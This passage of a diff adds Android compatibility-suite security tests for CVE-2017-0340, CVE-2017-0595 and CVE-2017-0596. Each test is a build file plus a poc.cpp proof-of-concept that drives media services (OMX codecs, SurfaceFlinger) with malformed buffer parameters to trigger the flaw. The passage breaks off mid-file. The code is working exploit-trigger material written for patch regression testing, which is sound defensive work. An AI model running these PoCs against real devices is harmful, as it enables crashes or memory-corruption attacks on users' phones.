+  LOG_ALWAYS_FATAL_IF(outConsumer == NULL,
+                      "BufferQueue: outConsumer must not be NULL");
+
+  sp<BufferQueueCore> core(new BufferQueueCore(NULL));
+  LOG_ALWAYS_FATAL_IF(core == NULL,
+                      "BufferQueue: failed to create BufferQueueCore");
+
+  sp<IGraphicBufferProducer> producer(new EvilBufferQueueProducer(core));
+  LOG_ALWAYS_FATAL_IF(producer == NULL,
+                      "BufferQueue: failed to create BufferQueueProducer");
+
+  sp<IGraphicBufferConsumer> consumer(new BufferQueueConsumer(core));
+  LOG_ALWAYS_FATAL_IF(consumer == NULL,
+                      "BufferQueue: failed to create BufferQueueConsumer");
+
+  *outProducer = producer;
+  *outConsumer = consumer;
+}
+
+int main() {
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> binder = sm->getService(String16("SurfaceFlinger"));
+  sp<ISurfaceComposer> sc = interface_cast<ISurfaceComposer>(binder);
+  if (sc == NULL) {
+    ALOGI("SurfaceComposer == NULL");
+    return 0;
+  }
+  sp<IGraphicBufferProducer> producer;
+  sp<IGraphicBufferConsumer> consumer;
+  createBufferQueue(&producer, &consumer);
+  IGraphicBufferProducer::QueueBufferOutput bufferOutput;
+  sp<CpuConsumer> cpuConsumer = new CpuConsumer(consumer, 1);
+  sp<IBinder> display(sc->getBuiltInDisplay(ISurfaceComposer::eDisplayIdMain));
+  sc->captureScreen(display, producer, Rect(), 64, 64, 0, 0x7fffffff, false);
+
+#if MUTI_THREAD
+  pthread_t pt;
+  pthread_create(&pt, NULL, run, NULL);
+#endif
+
+  return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0340/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0340/Android.mk
new file mode 100644
index 0000000..dbd89c5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0340/Android.mk
@@ -0,0 +1,51 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-0340
+LOCAL_SRC_FILES:= poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+    libstagefright libmedia libutils libstagefright_foundation \
+    libgui libcutils liblog libcamera_client libradio libsoundtrigger libui libEGL
+
+LOCAL_SHARED_LIBRARIES += libbinder
+
+LOCAL_C_INCLUDES:= \
+    frameworks/av/media/libstagefright \
+    frameworks/av/media/libstagefright/include \
+    frameworks/native/include/media/openmax \
+    frameworks/native/services/surfaceflinger \
+    frameworks/native/include \
+    system/core/gatekeeperd \
+    hardware/qcom/media/msm8974/mm-core/inc \
+    hardware/qcom/media/mm-video-v4l2/vidc/vdec/inc \
+    hardware/libhardware/modules/gralloc \
+    system/media/audio_effects/include \
+    system/bt \
+    system/core \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_CFLAGS += -Wno-multichar  -Wall -fpermissive
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0340/poc.cpp b/hostsidetests/security/securityPatch/CVE-2017-0340/poc.cpp
new file mode 100644
index 0000000..63d715a
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0340/poc.cpp
@@ -0,0 +1,216 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma GCC diagnostic ignored "-Wunused-parameter"
+#pragma GCC diagnostic ignored "-Wsign-compare"
+#pragma GCC diagnostic ignored "-Wunused-variable"
+#pragma GCC diagnostic ignored "-Wnon-virtual-dtor"
+
+#define LOG_TAG "fuzz"
+
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+
+#include <media/stagefright/foundation/ADebug.h>
+
+#include <binder/Binder.h>
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <binder/ProcessState.h>
+
+#include <media/IMediaHTTPService.h>
+#include <media/IMediaPlayerService.h>
+#include <media/stagefright/foundation/ALooper.h>
+
+#include <media/mediametadataretriever.h>
+#include <media/stagefright/AudioPlayer.h>
+#include <media/stagefright/DataSource.h>
+#include <media/stagefright/JPEGSource.h>
+#include <media/stagefright/MediaDefs.h>
+#include <media/stagefright/MediaErrors.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MediaSource.h>
+#include <media/stagefright/MetaData.h>
+#include <media/stagefright/OMXClient.h>
+
+#include <private/media/VideoFrame.h>
+
+#include <media/ICrypto.h>
+#include <media/IHDCP.h>
+#include <media/IMediaCodecList.h>
+#include <media/IMediaRecorder.h>
+
+#include <media/AudioEffect.h>
+#include <media/IAudioFlinger.h>
+#include <media/IEffect.h>
+#include <media/IEffectClient.h>
+#include <private/media/AudioEffectShared.h>
+
+#include <gui/ISensorEventConnection.h>
+#include <gui/ISensorServer.h>
+
+#include <binder/MemoryBase.h>
+#include <binder/MemoryDealer.h>
+#include <binder/MemoryHeapBase.h>
+
+#include <gui/BufferQueue.h>
+#include <gui/BufferQueueConsumer.h>
+#include <gui/BufferQueueCore.h>
+#include <gui/BufferQueueProducer.h>
+#include <gui/CpuConsumer.h>
+
+#include <media/IOMX.h>
+#include <media/hardware/HardwareAPI.h>
+#include "OMX_Component.h"
+#include "OMX_IndexExt.h"
+#include "OMX_QCOMExtns.h"
+#include "gralloc_priv.h"
+
+using namespace android;
+
+template <class T>
+static void InitOMXParams(T *params) {
+  params->nSize = sizeof(T);
+  params->nVersion.s.nVersionMajor = 1;
+  params->nVersion.s.nVersionMinor = 0;
+  params->nVersion.s.nRevision = 0;
+  params->nVersion.s.nStep = 0;
+}
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+  DummyOMXObserver() {}
+
+  virtual void onMessages(const std::list<omx_message> &messages) {
+    if (messages.empty()) {
+      return;
+    }
+  }
+
+ protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+static bool connectOMX(sp<IOMX> &omx) {
+  sp<IServiceManager> sm = defaultServiceManager();
+
+  sp<IBinder> binder = sm->getService(String16("media.player"));
+  sp<IMediaPlayerService> mediaPlayerService =
+      interface_cast<IMediaPlayerService>(binder);
+
+  if (mediaPlayerService == NULL) {
+    return false;
+  }
+
+  omx = mediaPlayerService->getOMX();
+  if (omx == NULL) {
+    return false;
+  }
+
+  return true;
+}
+
+void poc() {
+  sp<IOMX> service;
+  if (connectOMX(service) == false) return;
+
+  IOMX::node_id node = 0;
+  int fenceFd = -1;
+
+  const char *codecName = "OMX.Nvidia.vp9.decode";
+
+  sp<DummyOMXObserver> observer = new DummyOMXObserver();
+
+  status_t err = service->allocateNode(codecName, observer, nullptr, &node);
+  if (err != OK) {
+    return;
+  }
+
+  // get input port parameters
+  OMX_PARAM_PORTDEFINITIONTYPE def;
+  InitOMXParams(&def);
+  def.nPortIndex = 0;
+  err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+                              sizeof(def));
+
+  // prepare input port buffers
+  int inMemSize = def.nBufferCountActual * def.nBufferSize;
+  int inBufferCnt = def.nBufferCountActual;
+  int inBufferSize = inMemSize / inBufferCnt;
+
+  sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+  IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+  // get output port parameters
+  InitOMXParams(&def);
+  def.nPortIndex = 1;
+  err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+                              sizeof(def));
+
+  // prepare output port buffers
+  int outMemSize = def.nBufferCountActual * def.nBufferSize;
+  int outBufferCnt = def.nBufferCountActual;
+  int outBufferSize = outMemSize / outBufferCnt;
+
+  sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+  IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+  // enable native buffers
+  err = service->enableNativeBuffers(node, 0, (OMX_BOOL)0 /*graphic*/,
+                                     (OMX_BOOL)1 /*enable*/);
+
+  for (int i = 0; i < inBufferCnt; i++) {
+    sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+
+    *((unsigned long *)memory->pointer() + 4) = 0x10;
+    *((long *)memory->pointer() + 3) = 0x10;
+
+    err = service->useBuffer(node, 0, memory, &inBufferId[i],
+                             inBufferSize /*allottedSize*/);
+  }
+
+  for (int i = 0; i < outBufferCnt; i++) {
+    sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+    err = service->allocateBufferWithBackup(node, 1 /*in port index*/, memory,
+                                            &outBufferId[i], outBufferSize);
+  }
+
+  // change state from loaded to idle
+  err = service->sendCommand(node, OMX_CommandStateSet, 2);
+
+  // change state from idle to executing
+  err = service->sendCommand(node, OMX_CommandStateSet, 3);
+
+  sleep(3);
+
+  for (int i = 0; i < inBufferCnt; i++) {
+    err = service->emptyBuffer(node, inBufferId[i], 0, inBufferSize, 0, 0,
+                               fenceFd);
+  }
+
+  for (int i = 0; i < outBufferCnt; i++) {
+    err = service->fillBuffer(node, outBufferId[i], fenceFd);
+  }
+
+  err = service->freeNode(node);
+}
+
+int main() {
+  android::ProcessState::self()->startThreadPool();
+  poc();
+  return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0595/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0595/Android.mk
new file mode 100644
index 0000000..414f9c1
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0595/Android.mk
@@ -0,0 +1,48 @@
+# Copyright (C) 2017 The Android Open Source Project

+#

+# Licensed under the Apache License, Version 2.0 (the "License");

+# you may not use this file except in compliance with the License.

+# You may obtain a copy of the License at

+#

+#      http://www.apache.org/licenses/LICENSE-2.0

+#

+# Unless required by applicable law or agreed to in writing, software

+# distributed under the License is distributed on an "AS IS" BASIS,

+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+# See the License for the specific language governing permissions and

+# limitations under the License.

+

+LOCAL_PATH := $(call my-dir)

+

+include $(CLEAR_VARS)

+LOCAL_MODULE := CVE-2017-0595

+LOCAL_SRC_FILES := poc.cpp

+LOCAL_MULTILIB := both

+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

+

+LOCAL_SHARED_LIBRARIES := \

+        libstagefright libmedia libutils libstagefright_foundation \

+    libgui libcutils liblog libradio libsoundtrigger libui libEGL

+

+LOCAL_SHARED_LIBRARIES += libbinder

+

+LOCAL_C_INCLUDES:= \

+        $(TOP)/frameworks/native/include/media/openmax \

+        $(TOP)/hardware/qcom/media/msm8974/mm-core/inc \

+        $(TOP)/hardware/libhardware/modules/gralloc \

+        $(TOP)/frameworks/av/media/libstagefright/omx \

+

+# Tag this module as a cts test artifact

+LOCAL_COMPATIBILITY_SUITE := cts sts

+LOCAL_CTS_TEST_PACKAGE := android.security.cts

+

+LOCAL_ARM_MODE := arm

+LOCAL_CPPFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

+LOCAL_CPPFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wswitch-enum -Wundef

+LOCAL_CPPFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

+LOCAL_CPPFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined

+LOCAL_CPPFLAGS += -Iinclude -fPIE

+LOCAL_LDFLAGS += -fPIE -pie

+LOCAL_LDFLAGS += -rdynamic

+include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/CVE-2017-0595/poc.cpp b/hostsidetests/security/securityPatch/CVE-2017-0595/poc.cpp
new file mode 100644
index 0000000..652cf46
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0595/poc.cpp
@@ -0,0 +1,293 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <media/IOMX.h>
+#include "OMX_IndexExt.h"
+#include "OMX_Component.h"
+#include "OMX_QCOMExtns.h"
+#include <media/hardware/HardwareAPI.h>
+#include "gralloc_priv.h"
+#include <binder/MemoryDealer.h>
+#include <binder/IServiceManager.h>
+#include <media/IMediaPlayerService.h>
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+  DummyOMXObserver() {}
+
+  virtual void onMessages(const std::list<omx_message> &messages) {}
+
+ protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+static bool connectOMX(sp<IOMX> &omx) {
+  sp<IServiceManager> sm = defaultServiceManager();
+
+  sp<IBinder> binder = sm->getService(String16("media.player"));
+  sp<IMediaPlayerService> mediaPlayerService =
+      interface_cast<IMediaPlayerService>(binder);
+
+  if (mediaPlayerService == NULL) {
+    return false;
+  }
+
+  omx = mediaPlayerService->getOMX();
+  if (omx == NULL) {
+    return false;
+  }
+
+  return true;
+}
+
+template<class T>
+static void InitOMXParams(T *params) {
+    params->nSize = sizeof(T);
+    params->nVersion.s.nVersionMajor = 1;
+    params->nVersion.s.nVersionMinor = 0;
+    params->nVersion.s.nRevision = 0;
+    params->nVersion.s.nStep = 0;
+}
+
+int main(void) {
+  sp<IOMX> service;
+  if (connectOMX(service) == false) return 1;
+
+  IOMX::node_id node = 0;
+  int fenceFd = -1;
+
+  const char *codecName = "OMX.google.vp8.encoder";
+
+  sp<DummyOMXObserver> observer = new DummyOMXObserver();
+
+  status_t err = service->allocateNode(codecName, observer, nullptr, &node);
+  if (err != OK) {
+    ALOGI("%s node allocation fails", codecName);
+    return 1;
+  }
+
+  {
+    /* set mWidth and mHeight */
+    int paramsSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+    OMX_PARAM_PORTDEFINITIONTYPE *params =
+        (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+            sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    params->nBufferCountActual = 4;
+    params->nBufferCountMin = 4;
+    params->nPortIndex = 0;  // input
+    params->nSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+
+    params->format.video.eCompressionFormat = OMX_VIDEO_CodingUnused;
+    params->format.video.eColorFormat = OMX_COLOR_FormatYUV420SemiPlanar;
+
+    params->format.video.nFrameWidth = 64;
+    params->format.video.nFrameHeight = 64;
+
+    err = service->setParameter(node, OMX_IndexParamPortDefinition, params,
+                                paramsSize);
+    ALOGI("setParameter, err: %d", err);
+  }
+
+  // get input port parameters
+  OMX_PARAM_PORTDEFINITIONTYPE def;
+  InitOMXParams(&def);
+  def.nPortIndex = 0;
+  err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+                              sizeof(def));
+  ALOGI("port 0: %u buffers of size %u", def.nBufferCountActual,
+        def.nBufferSize);
+
+  // prepare input port buffers
+  int inMemSize = def.nBufferCountActual * def.nBufferSize;
+  int inBufferCnt = def.nBufferCountActual;
+  int inBufferSize = inMemSize / inBufferCnt;
+
+  // get output port parameters
+  InitOMXParams(&def);
+  def.nPortIndex = 1;
+  err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+                              sizeof(def));
+  ALOGI("port 1: %u buffers of size %u", def.nBufferCountActual,
+        def.nBufferSize);
+
+  // prepare output port buffers
+  int outMemSize = def.nBufferCountActual * def.nBufferSize;
+  int outBufferCnt = def.nBufferCountActual;
+  int outBufferSize = outMemSize / outBufferCnt;
+
+  sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+  IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+  sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+  IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+  for (int i = 0; i < inBufferCnt; i++) {
+    sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+    memset(memory->pointer(), 0xCF, inBufferSize);
+    err = service->useBuffer(node, 0, memory, &inBufferId[i],
+                             inBufferSize /*allottedSize*/);
+    ALOGI("useBuffer 0, port index 0, err: %d", err);
+  }
+
+  for (int i = 0; i < outBufferCnt; i++) {
+    sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+    err = service->useBuffer(node, 1 /*out port index*/, memory,
+                             &outBufferId[i], outBufferSize);
+    ALOGI("useBuffer, port index 1, err: %d", err);
+  }
+
+  // change state from loaded to idle
+  err = service->sendCommand(node, OMX_CommandStateSet, 2);
+  ALOGI("sendCommand, err: %d", err);
+
+  // change state from idle to executing
+  err = service->sendCommand(node, OMX_CommandStateSet, 3);
+  ALOGI("sendCommand, err: %d", err);
+
+  // fill len is 0, flag is OMX_BUFFERFLAG_EOS
+  for (int i = 0; i < inBufferCnt; i++) {
+    err = service->emptyBuffer(node, inBufferId[i], 0,
+                               0 /*range_length, nFilledLen*/,
+                               OMX_BUFFERFLAG_EOS /*flags*/, 0, fenceFd);
+    ALOGI("emptyBuffer, err: %d", err);
+  }
+
+  for (int i = 0; i < outBufferCnt; i++) {
+    err = service->fillBuffer(node, outBufferId[i], fenceFd);
+    ALOGI("fillBuffer, err: %d", err);
+  }
+
+  sleep(2);
+
+  // change state from executing to idle
+  err = service->sendCommand(node, OMX_CommandStateSet, OMX_StateIdle);
+  ALOGI("sendCommand, err: %d", err);
+
+  // change state from executing to idle
+  err = service->sendCommand(node, OMX_CommandStateSet, OMX_StateLoaded);
+  ALOGI("sendCommand, err: %d", err);
+
+  for (int i = 0; i < inBufferCnt; i++) {
+    err = service->freeBuffer(node, 0, inBufferId[i]);
+    ALOGI("freeBuffer port 0, err: %d", err);
+  }
+
+  for (int i = 0; i < outBufferCnt; i++) {
+    err = service->freeBuffer(node, 1, outBufferId[i]);
+    ALOGI("freeBuffer port 1, err: %d", err);
+  }
+
+  // restart the encode flow
+  {
+    sleep(2);
+
+    /* set mWidth and mHeight*/
+    int paramsSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+    OMX_PARAM_PORTDEFINITIONTYPE *params =
+        (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+            sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    params->nBufferCountActual = 4;
+    params->nBufferCountMin = 4;
+    params->nPortIndex = 0;  // input
+    params->nSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+
+    params->format.video.eCompressionFormat = OMX_VIDEO_CodingUnused;
+    params->format.video.eColorFormat = OMX_COLOR_FormatYUV420SemiPlanar;
+
+    params->format.video.nFrameWidth = 1024;
+    params->format.video.nFrameHeight = 1024;
+
+    err = service->setParameter(node, OMX_IndexParamPortDefinition, params,
+                                paramsSize);
+    ALOGI("setParameter, err: %d", err);
+
+    // get input port parameters
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    InitOMXParams(&def);
+    def.nPortIndex = 0;
+    err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+                                sizeof(def));
+    ALOGI("port 0: %u buffers of size %u", def.nBufferCountActual,
+          def.nBufferSize);
+
+    // prepare input port buffers
+    int inMemSize = def.nBufferCountActual * def.nBufferSize;
+    int inBufferCnt = def.nBufferCountActual;
+    int inBufferSize = inMemSize / inBufferCnt;
+
+    // get output port parameters
+    InitOMXParams(&def);
+    def.nPortIndex = 1;
+    err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+                                sizeof(def));
+    ALOGI("port 1: %u buffers of size %u", def.nBufferCountActual,
+          def.nBufferSize);
+
+    // prepare output port buffers
+    int outMemSize = def.nBufferCountActual * def.nBufferSize;
+    int outBufferCnt = def.nBufferCountActual;
+    int outBufferSize = outMemSize / outBufferCnt;
+
+    sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+    IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+    sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+    IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+    for (int i = 0; i < inBufferCnt; i++) {
+      sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+      memset(memory->pointer(), 0xCF, inBufferSize);
+      err = service->useBuffer(node, 0, memory, &inBufferId[i],
+                               inBufferSize /*allottedSize*/);
+      ALOGI("useBuffer 0, port index 0, err: %d", err);
+    }
+
+    for (int i = 0; i < outBufferCnt; i++) {
+      sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+      err = service->useBuffer(node, 1 /*out port index*/, memory,
+                               &outBufferId[i], outBufferSize);
+      ALOGI("useBuffer, port index 1, err: %d", err);
+    }
+
+    // change state from loaded to idle
+    err = service->sendCommand(node, OMX_CommandStateSet, 2);
+    ALOGI("sendCommand, err: %d", err);
+
+    // change state from idle to executing
+    err = service->sendCommand(node, OMX_CommandStateSet, 3);
+    ALOGI("sendCommand, err: %d", err);
+
+    // fill len and flag are normal values.
+    for (int i = 0; i < inBufferCnt; i++) {
+      err = service->emptyBuffer(node, inBufferId[i], 0,
+                                 inBufferSize /*range_length, nFilledLen*/,
+                                 0 /*flags*/, 0, fenceFd);
+      ALOGI("emptyBuffer, err: %d", err);
+    }
+
+    for (int i = 0; i < outBufferCnt; i++) {
+      err = service->fillBuffer(node, outBufferId[i], fenceFd);
+      ALOGI("fillBuffer, err: %d", err);
+    }
+  }
+
+  err = service->freeNode(node);
+  ALOGI("freeNode, err: %d", err);
+  return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0596/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0596/Android.mk
new file mode 100644
index 0000000..06301ea
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0596/Android.mk
@@ -0,0 +1,48 @@
+# Copyright (C) 2017 The Android Open Source Project

+#

+# Licensed under the Apache License, Version 2.0 (the "License");

+# you may not use this file except in compliance with the License.

+# You may obtain a copy of the License at

+#

+#      http://www.apache.org/licenses/LICENSE-2.0

+#

+# Unless required by applicable law or agreed to in writing, software

+# distributed under the License is distributed on an "AS IS" BASIS,

+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+# See the License for the specific language governing permissions and

+# limitations under the License.

+

+LOCAL_PATH := $(call my-dir)

+

+include $(CLEAR_VARS)

+LOCAL_MODULE := CVE-2017-0596

+LOCAL_SRC_FILES := poc.cpp

+LOCAL_MULTILIB := both

+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

+

+LOCAL_SHARED_LIBRARIES := \

+        libstagefright libmedia libutils libstagefright_foundation \

+    libgui libcutils liblog libradio libsoundtrigger libui libEGL

+

+LOCAL_SHARED_LIBRARIES += libbinder

+

+LOCAL_C_INCLUDES:= \

+        $(TOP)/frameworks/native/include/media/openmax \

+        $(TOP)/hardware/qcom/media/msm8974/mm-core/inc \

+        $(TOP)/hardware/libhardware/modules/gralloc \

+        $(TOP)/frameworks/av/media/libstagefright/omx \

+

+# Tag this module as a cts test artifact

+LOCAL_COMPATIBILITY_SUITE := cts sts

+LOCAL_CTS_TEST_PACKAGE := android.security.cts

+

+LOCAL_ARM_MODE := arm

+LOCAL_CPPFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

+LOCAL_CPPFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wswitch-enum -Wundef

+LOCAL_CPPFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

+LOCAL_CPPFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined

+LOCAL_CPPFLAGS += -Iinclude -fPIE

+LOCAL_LDFLAGS += -fPIE -pie

+LOCAL_LDFLAGS += -rdynamic

+include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/CVE-2017-0596/poc.cpp b/hostsidetests/security/securityPatch/CVE-2017-0596/poc.cpp
new file mode 100644
index 0000000..dc56967
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0596/poc.cpp
@@ -0,0 +1,287 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <media/IOMX.h>
+#include "OMX_IndexExt.h"
+#include "OMX_Component.h"
+#include "OMX_QCOMExtns.h"
+#include <media/hardware/HardwareAPI.h>
+#include "gralloc_priv.h"
+#include <binder/MemoryDealer.h>
+#include <binder/IServiceManager.h>
+#include <media/IMediaPlayerService.h>
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+  DummyOMXObserver() {}
+
+  virtual void onMessages(const std::list<omx_message> &messages) {}
+
+ protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+static bool connectOMX(sp<IOMX> &omx) {
+  sp<IServiceManager> sm = defaultServiceManager();
+
+  sp<IBinder> binder = sm->getService(String16("media.player"));
+  sp<IMediaPlayerService> mediaPlayerService =
+      interface_cast<IMediaPlayerService>(binder);
+
+  if (mediaPlayerService == NULL) {
+    return false;
+  }
+
+  omx = mediaPlayerService->getOMX();
+  if (omx == NULL) {
+    return false;
+  }
+
+  return true;
+}
+
+template<class T>
+static void InitOMXParams(T *params) {
+    params->nSize = sizeof(T);
+    params->nVersion.s.nVersionMajor = 1;
+    params->nVersion.s.nVersionMinor = 0;
+    params->nVersion.s.nRevision = 0;
+    params->nVersion.s.nStep = 0;
+}
+
+int main() {
+  sp<IOMX> service;
+  if (connectOMX(service) == false) return 1;
+
+  IOMX::node_id node = 0;
+  int fenceFd = -1;
+  const char *codecName = "OMX.google.mpeg4.encoder";
+  sp<DummyOMXObserver> observer = new DummyOMXObserver();
+  status_t err = service->allocateNode(codecName, observer, nullptr, &node);
+  if (err != OK) {
+    ALOGI("%s node allocation fails", codecName);
+    return 1;
+  }
+
+  {
+    /* set mWidth and mHeight */
+    int paramsSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+    OMX_PARAM_PORTDEFINITIONTYPE *params =
+        (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+            sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    params->nBufferCountActual = 4;
+    params->nBufferCountMin = 4;
+    params->nPortIndex = 0;  // input
+    params->nSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+
+    params->format.video.eCompressionFormat = OMX_VIDEO_CodingUnused;
+    params->format.video.eColorFormat = OMX_COLOR_FormatYUV420SemiPlanar;
+
+    params->format.video.nFrameWidth = 64;
+    params->format.video.nFrameHeight = 64;
+
+    ALOGI("setParameter");
+    err = service->setParameter(node, OMX_IndexParamPortDefinition, params,
+                                paramsSize);
+    ALOGI("setParameter, err: %d", err);
+  }
+
+  // get input port parameters
+  OMX_PARAM_PORTDEFINITIONTYPE def;
+  InitOMXParams(&def);
+  def.nPortIndex = 0;
+  err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+                              sizeof(def));
+  ALOGI("port 0: %u buffers of size %u", def.nBufferCountActual,
+        def.nBufferSize);
+
+  // prepare input port buffers
+  int inMemSize = def.nBufferCountActual * def.nBufferSize;
+  int inBufferCnt = def.nBufferCountActual;
+  int inBufferSize = inMemSize / inBufferCnt;
+
+  // get output port parameters
+  InitOMXParams(&def);
+  def.nPortIndex = 1;
+  err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+                              sizeof(def));
+  ALOGI("port 1: %u buffers of size %u", def.nBufferCountActual,
+        def.nBufferSize);
+
+  // prepare output port buffers
+  int outMemSize = def.nBufferCountActual * def.nBufferSize;
+  int outBufferCnt = def.nBufferCountActual;
+  int outBufferSize = outMemSize / outBufferCnt;
+
+  sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+  IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
